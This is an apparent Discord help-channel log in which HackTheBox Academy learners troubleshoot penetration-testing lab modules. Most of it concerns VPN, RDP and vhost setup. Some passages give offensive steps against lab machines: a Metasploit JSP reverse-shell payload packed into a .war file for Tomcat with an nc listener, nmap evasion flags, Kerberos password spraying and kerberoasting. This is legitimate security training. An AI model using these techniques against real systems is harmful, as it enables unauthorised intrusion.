modules

[solid quarry]

I will check my notes

yeah for me the kerberos auth worked just fine, did you tried switching your vpn region?

Maybe you will need to call the support then

[plucky hollow]

PLASE HELP

[solid quarry]

If you get the cert then certipy auth shoudl work with no problems

ok

[storm elk]

State your module and section where you’re stuck

[plucky hollow]

https://academy.hackthebox.com/module/144/section/1253

[dim wolf]

instead of pasting a link, write the module and section name + what you're stuck on

[plucky hollow]

module 144 section 1253

[plucky hollow]

why.

[dim wolf]

so that it's easier for everyone to know what exactly you're doing. some of us can't click the link because we might be using mobile

[storm elk]

State the name of the module and section please

Module and section numbers don’t mean anything. And as calculac0re said, clicking on it on mobile is a pain

[plucky hollow]

Information Gathering - Web Edition / Subdomain Bruteforcing

[storm elk]

The command is right above the question. The wordlist to use too

Use that, it’s not a million entries

[plucky hollow]

is not working for me i already do it but when it starts the reverse dns lookups i takes a lot, i have been more than 2 hours expecting for the result please help me this time with the answe

[fathom pendant]

well 404 means something is catching, is the script.js in the same directory as your server?

[fathom pendant]

it shouldn't take that long

[plucky hollow]

my internet is working bad today please help

[fathom pendant]

generally means one or more things you're doing is wrong

that's not anyone else's problem but your own

¯_(ツ)_/¯

but no one is gonna flat out give you answers

if your Internet is bad today, take it as a sign to just fuck off for the day and do something else

[sacred jacinth]

damn

[plucky hollow]

i need advance for my school they ask me for these modules i cant just let it out

[fathom pendant]

then talk to your school about it my guy ¯_(ツ)_/¯

The alternative is, instead of using your own vm -- use the in-browser vm

[plucky hollow]

@storm elk dm

[fathom pendant]

it'll be (relatively) faster

[storm elk]

No, don’t dm me for help with modules please

[gilded radish]

good evening, guys

[storm elk]

Hello

[wild sage]

in the php server or the server im trying to break into?

[fathom pendant]

the php server, same directory

[wild sage]

no, i didn't see any instructions for that

[fathom pendant]

that's how web servers work

[plucky hollow]

It is a very simple exercise. You think I don't know how to do it. It is simply an internet problem and I don't understand why there is so much rudeness in giving a simple result, 0 identity of help.

[fathom pendant]

i'm not saying anything about that

use the pwnbox if you REALLY have to get it done today

just make sure to disconnect from the vpn on your vm first

[storm elk]

We shouldn’t hand the answer to you. We can tell you how to figure it out. But not do it for you

[fathom pendant]

^

there's only a TINY handful of times where the answer might be given

and those times are when the module/exercise itself is broken

and not outputting what they want for the answer

[dim wolf]

if your internet isn't working, i'm not sure how you expect to do the rest of the sections, so giving the answer is out of the question

[fathom pendant]

simple solution, use the pwnbox (in-browser vm) ¯_(ツ)_/¯

[plucky hollow]

yes becuase the pwnbox is not internet-based

[fathom pendant]

well

no

[storm elk]

It doesn’t use your internet

[fathom pendant]

it's that it's not dependent on YOUR internet

[storm elk]

Only for Remote Desktop into it

[fathom pendant]

even then in-browser works fine most of the time

[storm elk]

Yes

[wild sage]

should I just copy&paste into a vi document?

[fathom pendant]

where did you save the script.js it had you make in the first place?

[plucky hollow]

MY INTERNET IS WORKING FINE

[fathom pendant]

i'd generally save any scripts in a ~/academy/scripts directory

then cp to /tmp/tmpserver when needed

[fathom pendant]

you literally just said it wasn't

[storm elk]

Then use it for the exercise with the wordlist given 🙂

[fathom pendant]

^^^^^

[storm elk]

Spoiler

[plucky hollow]

yes thank you

it work s inside pwnbox

but not o ut

[wild sage]

i never created one in this section, nor in the previous section

[storm elk]

It should work outside too. Do you get any error?

[fathom pendant]

well then it's something to do with your vm

¯_(ツ)_/¯

[storm elk]

What error did you get? The wordlist can be in another location

[fathom pendant]

likely was being throttled by something

[fathom pendant]

you should

[storm elk]

Or your isp might block you

[fathom pendant]

and also in that case; yes vi it into a script.js

[storm elk]

No. Just HtB vpn if it’s an internal ip

[plucky hollow]

ok

[quasi wave]

I'm doing the shells and payloads assessment section question 2 and I started msfconsole again and I'm having trouble finding the right exploit. I know I had it yesterday. Also someone mentioned doing it in msfvenom. I believe it was marcielee

can someone point me in the right direction?

[fathom pendant]

the cheatsheet is your friend here tbh

just note Tomcat uses jsp

[quasi wave]

ok so I got this far:

msf6 > search java/jsp_shell_reverse_tcp

Matching Modules
================

   #  Name                                      Disclosure Date  Rank       Check  Description
   -  ----                                      ---------------  ----       -----  -----------
   0  exploit/windows/http/cayin_xpost_sql_rce  2020-06-04       excellent  Yes    Cayin xPost wayfinder_seqid SQLi to RCE
   1  payload/java/jsp_shell_reverse_tcp                         normal     No     Java JSP Command Shell, Reverse TCP Inline


Interact with a module by name or index. For example info 1, use 1 or use payload/java/jsp_shell_reverse_tcp

msf6 > use 1
msf6 payload(java/jsp_shell_reverse_tcp) > show options

Module options (payload/java/jsp_shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be s
                                     pecified)
   LPORT  4444             yes       The listen port
   SHELL                   no        The system shell to use.

msf6 payload(java/jsp_shell_reverse_tcp) > set LPORT 443
LPORT => 443
msf6 payload(java/jsp_shell_reverse_tcp) > set LHOST 10.129.204.126
LHOST => 10.129.204.126
msf6 payload(java/jsp_shell_reverse_tcp) > run
[-] Unknown command: run

[fathom pendant]

msfvenom != msfconsole

java/jsp_shell_reverse_tcp is just a payload type

[quasi wave]

ok got it

ok I generated payload

now just have to upload it?

[fathom pendant]

msfvenom is used with selected payloads and options to create a file that would be used to set a reverse shell (or do whatever is specified by that payload type/name)

[fathom pendant]

yup :)

.war; what is it good for? ||breaking into Tomcat!||

[quasi wave]

is that hint something that I should look at?

and your just hiding it from everyone else?

[fathom pendant]

no; just a joke about the file format that gets made

[quasi wave]

ko

oh I see because of the song

ok so I uploaded war file

[fathom pendant]

make sure you start your listener

then just... go to that page :)

[granite canopy]

Is there anyone I can DM?

[elder matrix]

in Password Spraying - Making a Target User List, how is it that kerbrute is WAY faster on the parrot foothold than on kali via ligolo-ng?

is it because the tunnel is bottlenecking kerbrute?

[foggy monolith]

Stuck on Establishing connection, please wait... in the Nessus section of the Vulnerability Assessment module — is this a reason to reset the target, switch PwnBox locations, or both?

[quasi wave]

I started the listener after making the war file and uploading it and navigated to the page and no reverse shell is popping up

┌─[htb-student@skills-foothold]─[~]
└──╼ $sudo nc -lvnp 443
[sudo] password for htb-student: 
listening on [any] 443 ...
^C
┌─[✗]─[htb-student@skills-foothold]─[~]
└──╼ $sudo nc -lvnp 443
listening on [any] 443 ...```

also for generating payload I generated shell.war with msfvenom

and uploaded it

[fathom pendant]

it's because you're trying to route traffic through a tunnel, whereas the foothold has direct access

[fathom pendant]

did you use the right LHOST?

172.x.x.x

[quasi wave]

ok hold on

[fathom pendant]

also you need to visit the page to actually detonate it

[elder matrix]

thanks, thats what i thought!

[quasi wave]

I know I did

the LPORT is set to 443

and LHOST IP is target LHOST

172.16.x.x I know

I tried changing port to 8080 on both devices didn't work

both on netcat and on payload

there's something up with this

I tried with port 443 and port 8080

is there any way its possible since source and target port numbers are different that I'm missing the right port numbers?

[foggy monolith]

Number 1 rule: always go back to nmap if you can't find the port a service is running on.

[quasi wave]

ok

but will nmap even help me at this point because it said port number in cheat sheet

so I'm really confused

[foggy monolith]

Non-standard ports are going to be discovered if you use the -p- option. And if it doesn't discover anything, then might be time to reset the target.

[gray yacht]

You can DM if you want.

[wild sage]

vi script.js and im back to square one where it just returns the 200 message and the other part doesn't get executed

[quasi wave]

will do thanks

let me just get some coffee

[gray yacht]

I have a couple of minutes

[fathom pendant]

make sure no extra spaces

LHOST=<ip>,LPORT=<port> no space before or after =

[fathom pendant]

this doesn't apply here

[foggy monolith]

Well my comment about the Nessus module does.

[fathom pendant]

even Nessus doesn't apply here

[foggy monolith]

This one

[fathom pendant]

the Nessus module has you connect to an https://ip:nessus_port; which has prefinished scans for you to search against

[foggy monolith]

Yes, but it shouldn't freeze 2 seconds after logging in.

[fathom pendant]

it's worked fine for me

¯_(ツ)_/¯

[foggy monolith]

Been stuck on that for about 10 minutes now.

Resolved itself after I closed and reopened, then I accessed the Windows scan report and the same thing happened. "Establishing Connection" pop-up.

Connection picks up again, then hangs a minute later, then picks up again after that. Why the instability?

[fathom pendant]

Change vpn regions and respawn target then

Also looks like you're using your windows main host to connect to htb, I would advise against that

If that's the pwnbox window re-establishing connection, then change pwnbox region

[mint lodge]

Damn, I can not understand the Pivoting, Tunneling, and Port Forwarding module at all.
For once I wish there was a video option on htb academy 😅

[foggy monolith]

No I'm not. I'm using KDE Plasma 6 on Arch Linux (and I've also installed everything from the BlackArch repositories on top of it).

Still the main host, but not Windows.

[fathom pendant]

you use system b as a way to get to system c

and allow your tools on system A to get to system C without needing to install them on system B

[wild sage]

Figured it out, i didn't put new Image in the .js

[fathom pendant]

[wild sage]

Do you feel a little silly, a little stupid

my answer: yes

[hushed sail]

happens to everyone. it’s okay. 🙂

[wild sage]

it's a learning experience

[fathom pendant]

my general suggestion is, to keep any and all scripts they have you make in a folder named appropriately so that if you need to copy them to /tmp/ you can do so; and not have to rewrite every time

[rustic sage]

Yo

[gusty cloak]

Can i get some help with Living Off the Land active directory enumeration and attacks. I cannot remote into the machine, I was able to one night but now i get incorrect password.

Used multiple tools, pwn box and my own machine. Same issue.

[fathom pendant]

wrap password in single quotes, pray to the gods

[wild sage]

ive saved the past two in my note pad

[gusty cloak]

tried as well which requires me to escape the ! but even that doesnt work

[fathom pendant]

careful saving things to notepad on windows

[wild sage]

when i go through all the modules, im gonna go through them again to refresh

[foggy monolith]

Kate is a better text editor than Notepad by a mile anyway.

[fathom pendant]

if using rdesktop, set the domain to local ( .)

[fathom pendant]

and i'm over here with my notes in obsidian

obsidian: there's a plugin for that

[wild sage]

I should probably start using obsidian in prep for exam taking

[gusty cloak]

i tried xfreerdp and rdesktop, rdesktop lets me get in and manually enter the password but says incorrect

[fathom pendant]

Code Styler plugin is absolutely fantastic

[fathom pendant]

set domain to .(local)

xfreerdp should work though

[gusty cloak]

it did like 4 days ago, now it wont.

[rustic sage]

Looking for somebody who could provide some help for the Whitebox Attacks Client-Side Prototype pollution challenge. I have local XSS and know that I need to get the admin to promote through /admin.php?promote=2 but I cant get the click 😦

[gusty cloak]

this doesnt work, is the syntax right?

rdesktop -u htb-student -p Academy_student_AD! -g 1024x768 10.129.91.172 -d .

incorrect password as well

i reinstalled all tools as well. I swear the password is just wrong

[fathom pendant]

Sec I'm finishing something up and I'll check

Works fine on xfreerdp

I hit enter at the blackscreen and it works

[steady charm]

Need to look into that. Still trying to find ways to optimize my vault. Currently fell in love with Make.md plugin

[gusty cloak]

xfreerdp for me gets stuck on black screen and will never connect.

[fathom pendant]

press enter

[steady charm]

why not try remmina 👀

[gusty cloak]

reinstalled it already twice

[fathom pendant]

when you hit the blackscreen, just press enter

[gusty cloak]

NAH

4 days for that

[fathom pendant]

the best part you're not the first to run into this

discord search is a wonderful thing

[gusty cloak]

ive never had to hit enter before. The amount of googling i did to find something

final hope was discord, thank you man

[fathom pendant]

it's because it's failing to draw the AUP screen for corporate systems

[gusty cloak]

still weird why rddesktop gave wrong password

but thank you i was losing my mind

[fathom pendant]

yeah rdesktop is acting funky

[heavy marsh]

I just got to my laptop and figured it out. It does not work on a mobile browser, even in desktop mode. Came right up on my laptop! 👍

[fathom pendant]

in mobile, in the menu change the option to "desktop mode"

HTB isn't generally too mobile friendly

academy/main

[heavy marsh]

Yeah for some reason that didn't work, no big deal though.

What are your thoughts on the Tier 3 modules? I've heard there's a new cert in the works, wondering if I should work on some Tier 3 now or wait and get a Gold Annual when the new cert drops.

I just did the math, all the Tier 3 hrs/days come out to just over 60 days! Looks like a lot of good content!

It's either that or go for OSCP, but I would rather stick with HTB at this point if there's a new cert in the works.

[ivory portal]

when i will have access to general?

[fathom pendant]

when you read and follow the instructions in #welcome

[ivory portal]

done lol, thanks!

[foggy monolith]

Just curious how many others here are using Linux as their host OS without any Windows instance whatsoever, and if that's a good idea for this.

[shut wraith]

You can make it work. Especially since Ubuntu is Debian so most of the tools might work. On TryHackMe they made a Kali Replica out of Ubuntu.

However, u will run into problems AND it will be a hassle to install some tools instead of just installing them the normal way on kali which is sudo apt install tool -y.

But on the plus side you dont have to keep swapping between your host and VM for notes and stuff, which in the long run makes you faster at hacking

Broken Authentication

Brute-Forcing Password Reset Tokens

I found the token, but it doesnt tell me which user I reset .. So I am just blindly fuzzing usernames into the login post...

Any help would be appreciated if u are available @fathom pendant

Just trying to review for the CBBH...

[foggy monolith]

I'm using Arch with Plasma 6 and ran BlackArch's strap.sh tool after installing, then went on to loop through every blackarch-* package group to make sure I've installed everything — not sure how compatible that is with HTB's setup. What I find odd is the fact that although Nmap can connect to the target machine through OpenVPN, Chrome can't — anyone else having that problem?

[shut wraith]

Try using a proxy

And while ur at it run that proxy through burp cause ur gonna use it a lot

[foggy monolith]

I'll see what ZAP can do; should be an interesting config journey.

[shut wraith]

I gave ZAP a try several times but I couldnt make it as good as burp

[gilded radish]

I believe I found another mistake in the cme module@fathom pendant
May I dm you, so I don't spoil it here

[fathom pendant]

I truthfully haven't done that module but throw in #1234357888114364508

[gilded radish]

okay

[fathom pendant]

Haven't touched that module

[dapper moth]

Yeah.... Nothing.... Went through the whole thing to check and nothing. No rational explanation...
This happened over the spawn of a couple of hours

[foggy monolith]

Well I decided to use the NetworkManager OpenVPN plugin on my host and now it just does this.

This is going to make it much easier to switch VPNs from here on out, at least.

[fathom pendant]

Yeah idk why you'd do that

How would it make it easier? Whenever you switch vpn regions you need to regenerate a new vpn config

Unless you have it doing voodoo magic to download the new one

[fathom pendant]

Sounds like you messed something up

Check your /etc/resolv.conf

First rule of tech, if it ain't broke, don't fuck with it.
Second, if you already see duct tape on it, also don't touch it

[granite canopy]

I need a hint for the Advanced XSS and CSRF skill assessment. ||I have gotten to the API and found that there is some kind of database being queried||

[supple light]

DACL 1. Section : Granting Rights and Ownership. Last question.

[grand loom]

general question is crackmap like outdated now? or better tools have replaced it?

[supple light]

netexec

[dim wolf]

NetExec is a fork of CrackMapExec maintained by the people who were maintaining it while it was still CME

it's virtually the same program, just with a different name

[grand loom]

i see

[solid quarry]

My notes say you need to abuse the owner privs at the chap user, after that do a targeted kerberoast to get the pass

[unique ether]

Hi can anyone explain how this is evasion

Sudo nmap -sV --top-ports 10 --disable-arp-ping

This is the answer for the easy lab

[plucky hollow]

Information Gathering - Web Edition
MODULE 144 SECTION 1257 what is the target the generated by htb or inlanefreight.htb

[shut wraith]

Hey @gilded radish I noticed you had the same problem ad me in ur message https://discordapp.com/channels/473760315293696010/774040263278592041/1270748145520869480 when I bypassed the 301 with a 200 OK it just gave me a blank page

[cloud urchin]

probably shouldn't be posting answers to skill assessments in here

[shut wraith]

Hey Marcie I tried a bypass to 200 OK from 301 intercepting the response but it just gives me a blank page... Is it the lab or is it me?

Broken Authentication Assessment

[cloud urchin]

you should delete your posts referring to the skill assessment, those are spoilers

[fathom pendant]

Section number doesn't help

[rustic sage]

Because

1. You're only scanning the top 10 ports, which means it'll be less noticeable to IDS systems

2. You're disabling ARP requests. Some security systems may detect and block ARP requests, flagging them as suspicious. So Nmap skips this step, potentially avoiding detection by systems that monitor ARP traffic. Instead, it relies on other methods to detect if the host is up, like TCP or ICMP pings.

[plucky hollow]

THEN

OMG PLEASE HELP

[ashen fiber]

└──╼ $sudo python3 -m uploadserver 443 --server-certificate ~/server.pem
[sudo] password for parrot:
/usr/bin/python3: No module named uploadserver
-- I am struggling on using python3 in some of the modules turns not found. any tips. (using parrot os)

[fathom pendant]

What's the section name? And more often than not the vhost is given above the questions, to be used with the spawned ip

[fathom pendant]

Not found == install with pip

pip3 install uploadserver

When it says not found, it means the module isn't installed

[plucky hollow]

VIRTUAL HOSTS

[fathom pendant]

Chill with the caps dude

[plucky hollow]

SORRY IM MAD

[rustic sage]

Not our concern

[fathom pendant]

Well yelling won't get you help

[plucky hollow]

ok

[fathom pendant]

I'm mad that I'm getting pinged while I'm trying to sleep

[cloud urchin]

getting mad over learning? chill.

[plucky hollow]

omg i will not response to that

[fathom pendant]

Anyway, your question barely made sense

[plucky hollow]

not actually mad just have the caps on

[ashen fiber]

I wanted to use pip3 (not pipx)

[fathom pendant]

Read the bottom of that message

[plucky hollow]

i still waiting for help

[ashen fiber]

i also created virtual envi for that and run inside it. may be i will try again.

[fathom pendant]

Well being clearer with your question will get you better help. Idek what you're asking

[fathom pendant]

There's more to that message

In key part; --break-system-packages

[plucky hollow]

for the tasks in this module what is the target the generated the one spawned for htb (random docker ip and port) or inlanefreight.htb ? @fathom pendant

[fathom pendant]

You can also delete the EXTERNALLY-MANAGED file in the python install

[fathom pendant]

And I answered

It's both

inlanefreight.htb is the vhost used on the public ip:port

Which you put in your /etc/hosts file as
ip inlanefreight.htb

Then in your browser http://inlanefreight.htb:port

It's important that you don't put the port in the hosts file

[plucky hollow]

@fathom pendant thank you!

[fathom pendant]

If you utilized discord search, or your brain, you'd figure it out

[plucky hollow]

but if I don't specify the port it will try port 80 and the common ports how will it know which port it spawned?

[fathom pendant]

No

You specify the port in your requests

[plucky hollow]

oh ok

[fathom pendant]

Such as my example above in a browser

[plucky hollow]

Please do not be disrespectful by saying that I do not use my brain. Simply, nowhere in the room do they tell you that you have to modify the etc/hosts file,

[cloud urchin]

that's because it's fundamental knowledge

each module can't go over the very basics of computer operation each and every time, that'd make the modules too long and complicated

[fathom pendant]

Section* not room

[ashen fiber]

seems all good now with pip3 install uploadserver --break-system-packages . I also able to run uploadserver w/out python3 -m .

[cloud urchin]

they assume you have a certain base level of knowledge

[plucky hollow]

Ok well but then tell me once and for all if I can't make a mistake, you are belittling me and disrespecting me just for not knowing that I had to edit that file

[cloud urchin]

how did i belittle or disrespect you?

[fathom pendant]

I'm being a dick because you're being demanding of help

But even if it's not shown in that section; you can probably search the discord for similar queries

[unique ether]

Ok that makes so much more sense

Thanks alot bro

[plucky hollow]

Ok, I won't ask anything here again because they only answer me with their egos assuming that I don't know something basic when I simply didn't understand what the module was referring to with the question because I'm not used to using HTB

[cloud urchin]

i didn't assume anything, you said the module didn't tell you that you need to modify /etc/hosts. i just told you why it didn't tell you that. that's not belittling you.

[plucky hollow]

Each tool has a different use and syntax, it is not rocket science so that I can say that in the module indication it is very clear that what I should change is the etc/hosts file for local DNS resolution, although I know what it is, I simply wanted to be clear about what was being asked, and to be called someone who dont uses their brain for a question that is not stupid is simply a senseless attack.

[fathom pendant]

Again, my response was mostly because you were being demanding of attention

[plucky hollow]

Now I have learned it and believe me I will not forget it. I will modify that when htb has a similar question, but it is the way of saying things.

[fathom pendant]

And as an FYI, earlier you didn't say the section name

Just section number

which doesn't help

[plucky hollow]

Yes, I'm sorry, I just expected a little more maturity and respect from you.

Thanks for helping me with the question, I will continue studying!

[cloud urchin]

i mean, if you can't resolve the host name.. it's dns.

[fathom pendant]

I respect those who show they can be respectful

You coming in all-caps immediately dropped a lot for me

[plucky hollow]

That wasn't even my question

[fathom pendant]

His question was; is the spawned ip:port the target, or inlanefreight.htb

[plucky hollow]

i already knew that

[rustic sage]

Isn't inlanefreight.htb the target?

[cloud urchin]

i wasn't talking to your question, you had said the module didn't even tell you to edit /etc/hosts, i simply stated it's not going to mention it because it's prerequisite knowledge you must have before attempting that module. i never said anything disparaging about you.

you seemed pretty upset about it so i was just trying to give you insight as to why it's not mentioned.

[fathom pendant]

It's both

:p

[rustic sage]

It's the same

[fathom pendant]

Exactly

[rustic sage]

IP:port is the same as inlanefreight.htb

[fathom pendant]

I mean not always

Depending how the vhost is set up

[rustic sage]

Yeah

[unique ether]

During evasion how to know which source IP u can use cause we need a live one

[plucky hollow]

Yes, my friend, just that you assume that I don't know DNS because I didn't edit a file that I didn't know I should edit simply offended me, I've been with tryhackme for a year and I know the basics well, it's just that now I'm learning with hackthebox and I'm not used to their questions, and I understand that it's a prerequisite to know that, it surely came up in some introductory module to HTB.

[fathom pendant]

You don't need to worry about that tbh

As spoofing the IP won't yield anything useful

[unique ether]

I tried this command nmap 10.129.64.118 -F -sA -Pn -n --disable-arp-ping -S 10.129.64.112 -e tun0

Failed to determine route to target

That's what error I got

[fathom pendant]

Because you're trying to set your source IP to the target IP

You don't need the -S argument

[plucky hollow]

can i ask a question?

[fathom pendant]

Also if you're just copy/pasting from the module it just won't work

https://dontasktoask.com

[plucky hollow]

I just want to know, why was it necessary to map the IP address to the domain name and it didn't work just by putting the IP address?

Regarding the same exercise I asked a while ago

[ocean night]

Certain services, like Web Servers for example can host multiple "virtual hosts" under the same IP address. When connecting, clients can include in their request the "hostname" (domain) they want the request to be passed to.

Without a hostname being provided, the server may not know where to route the request, and may fall back to a default configuration, which for most web servers is a generic "this is apache", or "this is nginx" page.

Think of it as a block of flats. The flats all exist in one building, but that building has multiple doors. You could post mail to the property that contains the flats, but without providing a door number, where would the mail go?

[supple light]

Thank you !

[plucky hollow]

ok so for the same address the web server relies on the domain name http request header section in such a way that each domain name can return unique responses regardless of whether the request is directed to the same ip address and each domain name (with unique response) can have its own subdomains, but as such these attempted subdomains are not virtual addresses but belong to the classification of its parent domain name

i understand it good? @ocean night

[ocean night]

That is correct, but rather think of domains and subdomains as separate entities for the most part

Some services use subdomains to define a users page, e.g. <username>.domain.com, which are technically routed through the same service, but using the subdomain as a variable internally

[fathom pendant]

Fun stuff

[ocean night]

The hostname is used by the webserver to determine where to pass the request internally, whether that be to an appliance running on something like PHP, or to a directory with just plain HTML

Another analogy.. a house, multiple people live in it. Mail is received with just the address, no name.. who gets the mail?

Shut up and go to bed g0blin

[storm elk]

I just woke up 😅

[plucky hollow]

Ok thank you very much @ocean night , everything is much clearer to me now!

[fathom pendant]

I think a good example of this is the common applications module where most of the hosts have the /var/www/<vhost>

Where each vhost [or set] has their own service[s] on them

[plucky hollow]

that main domain name had to be enumerated before you knew about it right?

If you only have the IP

[fathom pendant]

More often than not, htb provides the domain name, or sometimes visiting the ip might be a message, [base website for <domain>]

Or in the case of boxes on the main site, the way that it's set up is that visiting the ip forwards to the domain (even if it's not in your /etc/hosts, it just won't load in that case)

Usually when simulating an external website, htb will use the .htb tld, and if simulating an internal website they'll use .local

But you will almost never be thrown at it without something

[plucky hollow]

The exercise was not then about searching for virtual hosts but about searching for subdomains of an already known virtual host

[fathom pendant]

Yup

[ocean night]

One addendum, again a subdomain is also a virtual host, regardless of how the backend handles the sub part of the domain 🙂 Web servers have a default request handler, which can be used to host traffic for a domain just by having it either be the only rule for handling requests, or having a domain served as the default as a fallback if no matching virtual host rule is found in the config.

[plucky hollow]

makes sense, interesting

[fathom pendant]

Good Ole DNS records

The bane of many

[elder kraken]

Password Attacks - Password Attacks Lab - Hard

Hello, I need help.

I managed to find the creds for the backup file, which I put in the Windows machine to be able to mount it. But I don't know how to put it in the right directory to mount it. It's in a share smb. And when I try to move it to “This PC”, I can't do it.

Do you know how I can do it?

[heady laurel]

Is it only me or has the target spawning and performance been a real pain in the ass these past few days? Have to wait like 15-20 minutes for a target to spawn

And if it includes mounting nfs, takes me a solid few minutes to even get the content

I have 500 mb/s upload and download

[storm elk]

I dont have issues spawning atm, maybe ty a different region?

[stiff ether]

question about enumeration tools like LinEnum and linuxprivilegechecker:
of course these tools may make a lot of noise as mentioned, but how would one even use these tools on a compromised system to enumerate it? is there some way to transfer them to the compromised system? feels like im missing something

(im on the getting started module of cpts -> privilege escalation)

[foggy monolith]

Still having this problem. Why is Chrome unable to see what nmap can?

[onyx rapids]

It looks like a proxy, so it probably doesn't have any data to serve to you. It's role is to proxy traffic and has no content for you

[foggy monolith]

This is supposed to be the OpenVAS lab.

[onyx rapids]

what module and section?

[foggy monolith]

108/1516

[storm elk]

State the names please

[onyx rapids]

Note: It may take 1-2 minutes for your target instance to spawn.

This could be why

[foggy monolith]

It's been 5 minutes and the target IP wouldn't be up if it was still waiting to spawn.

[foggy monolith]

Already stated before: OpenVAS SA

Again, here's the problem with it. Note that nmap says that the OpenVAS port is open from my host system. So why is Chrome unable to access OpenVAS despite this?

And no, attempting to tunnel all traffic through ZAP is of no help either.

[onyx rapids]

You're using your own box for the labs and not the VM provided?

[foggy monolith]

I'm using OpenVPN, and yes because PwnBox has been very fickle on me when it comes to performance.

Hold on, let me see how Parrot is able to do it — maybe I can pilfer some settings off of the PwnBox to use locally so I don't have to keep spawning every 2 hours.

[onyx rapids]

Yea, I've battled with both to be honest, there is no real clear winner. I'm just testing now with their VM and it let me in with : https://10.129.147.223:8080/login

[civic hamlet]

the windows command line module is a tad bit easy

going to try and rush through this

[sinful narwhal]

not getting any hit for this "Virtual Hosts"

vHosts needed for these questions:
inlanefreight.htb

• 1 Brute-force vhosts on the target system. What is the full subdomain that is prefixed with "web"? Answer using the full domain, e.g. "x.inlanefreight.htb"

$ gobuster vhost -u http://94.237.59.199:47322 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --append-domain

[foggy monolith]

Even pilfering the /etc/resolv.conf from the PwnBox and using it on my local machine was of no help. I'm seriously at a loss at this point when it comes to forcing the GUI and CLI to see the same traffic.

[ocean night]

Which module / section in specific is this @sinful narwhal ?

..and is that the exact command you ran?

[sinful narwhal]

Information Gathering - Web Edition
Page 9
Virtual Hosts

[ocean night]

Ok, one moment.

That's a Tier 2 module, so no public spoilers please anyone. I'll DM you @sinful narwhal

[sinful narwhal]

ok sure

I run these workdlists but no luck

/usr/share/wordlists/dirbuster/directory-list-1.0.txt
/usr/share/seclists/Discovery/Web-Content/common.txt

on 94.237.59.199:47322

[ocean night]

Yup, it's fine - I'll try and guide you, I know the problem.

[fathom pendant]

You need a domain for it to append

The domain, in this case, is the vhost given

[ocean night]

It's ok marcie

I'm chatting with them 🙂

Thanks though

[fathom pendant]

Ah

Wasn't caught up after my nap

Stress causing my sleep rhythm to change a lot lol

[ocean night]

mmhm

I know that one, hope you get back in to a pattern soon

[fathom pendant]

Well once everything is set for the move itll have to be

[ocean night]

Moving far?

...not that it matters.. I once moved four houses down.. it was still a pain in the butt

[foggy monolith]

Oh, 🤦🏼‍♂️ I can't believe the solution to the OpenVAS problem was as obvious as realizing it doesn't redirect to SSL like everything else.

[foggy monolith]

After going through the pain of having installed Arch enough times to have written a script for automating the reproduction of your entire setup, sometimes it's the little things that get you.

[fathom pendant]

Yup

It do be like that

https://tenor.com/view/asdf-asdfmovie-i-can't-read-i-cant-read-punished-lion-gif-3532527054645921660

[signal tiger]

@jagged viper

[foggy monolith]

Where in the module does it mention what I learned the hard way about this? Happened to have used OpenVAS before as part of the CEH labs, so that's why I just skimmed through the documentation in the module (though I do like to PDF-scrape everything to make it easier to go back to after the module is complete — hold on).

Alright, I do see now at the very bottom of the page that it specifically mentions https://<IP>:8080/ — still, most of us take for granted these days that things redirect to https from http. Submitting a ticket to have them add a warning about this.

Alright, rant over — sorry for the walls of text.

[ocean night]

You can raise any issues or concerns regarding modules in #1234357888114364508 @foggy monolith 🙂 The team check them all.

[lunar prawn]

ok

ive been here for 4 years wheres my promotion

[cloud urchin]

false, it says you joined dec 13th with is less than 3 years. no promotion.

[ocean night]

Check #welcome for verification of your Discord account with your HTB account at https://app.hackthebox.com - that'll let you post in the other channels

[foggy monolith]

Done.

[night crypt]

heh, first time I've encountered this on the Academy!

I wonder why this particular module is upsetting it but none of the other Windows modules have

[vocal holly]

In Web Attacks: Bypassing Encoded References

I was able to get the flag by using Burp Intruder. However, I don't understand why can't i download the files? I can only download files if i visit the same link via a browser.

[vocal holly]

2nd question:

While looking at the response from Burp Intruder, I can see the flag in plain text, however, the response i get from the browser request is base64 ecoded. Why is that?

[spare stone]

Hello Everyone 👋🏻
I am leraning web proxys, more specific, web fuzz with burp suite, when I am attacking, the results page is keep closing after getting a peompt for commercial edition
Is the problem from my configuration, or got a new update?

[acoustic owl]

The Community Edition is simply much slower. But fuzzing should work

[warm jackal]

Hi, everybody. I need some help!!! I can't solve Lab (Module:FileUploadAttack:Client-Side Validation) I changed the HTML code but still it doesn't work, how can I solve it?

[spare stone]

^^

[acoustic owl]

Yes, as I said, it's much slower. But should work

[warm jackal]

what do I have to use to get the flag?

[spare stone]

When I am clicking ok it is closing

Where can I see the progress if it is working?

Ah okay got it, the end line

[heavy slate]

i forgot how to connect to RDP, was it SSH username@IP then PW, but why do i get connection refused?

[safe star]

Wym?

I use xfreerdp /u: /p: /v:<ip>

The ssh format is correct

[lunar prawn]

look at all you freshies lol

i've been in this server longer than all of you. So take a step back.

[safe star]

My bad group leader🙏

[ocean night]

Might wanna check out #welcome and validate then 😉

[nova nest]

Generic Question:

I added VHosts to my /etc/hosts file. The websites are available by browsing via web browser. When I try to use commandline tools like curl, i get a "could not resolve" error. Do I need to add an specific option to curl, that he uses my /etc/hosts file to resolute the name of the website.

[spare stone]

How to get the flag here?

[honest gyro]

u cant submit the answers here delete the flag from here and ask the support via the htb logo in bottom right in the academe

just make sure there is no spaces on the begging or at the end

[gilded radish]

you need to fuzz: http://host:port/admin/FUZZ.html

[ocean night]

So, you're back after 4 years, how has life treated you @lunar prawn ? Gonna get back in to HTB, or just here for fun?

[lunar prawn]

here for fun

[ocean night]

Fair enough - please verify your account and move to #general then

This channel is for discussion of Academy modules

[shut folio]

thank you there must been a wrong char in the copy - mostlikely a space 😫

[honest gyro]

ull get used to it

[shut folio]

hehe 😄

[oak girder]

Hello

I was a little at a loss

Hello ？

@fathom pendant

[spark spruce]

hey bro can you help me
HTTPS/TLS attack skill assessment
cannot decrypt cookie in plaintext

[spare stone]

Got not found

[gilded radish]

@spare stone use seclists for that

[spare stone]

Common.txt?

[gilded radish]

And, even it is burp suite task, I would not recommend you fuzzing it with community edition of burp, it will take forever. Use ffuf for that

[gilded radish]

Discovery - Web-Content

smth that I believe, don't remember

[spark spruce]

What's the module and section name bro

[spare stone]

Web proxy, burp intruder

[spark spruce]

DM

[spare stone]

@gilded radish how to ffuf for that

[gilded radish]

look for commands in google

[vital adder]

add *.hackthebox.com/* to trusted urls (in safe browsing), most AV i used so far will at one point or another flagged HTB stuff but it's just false positive

[gilded radish]

gg

[spark spruce]

you should delete this msg from here

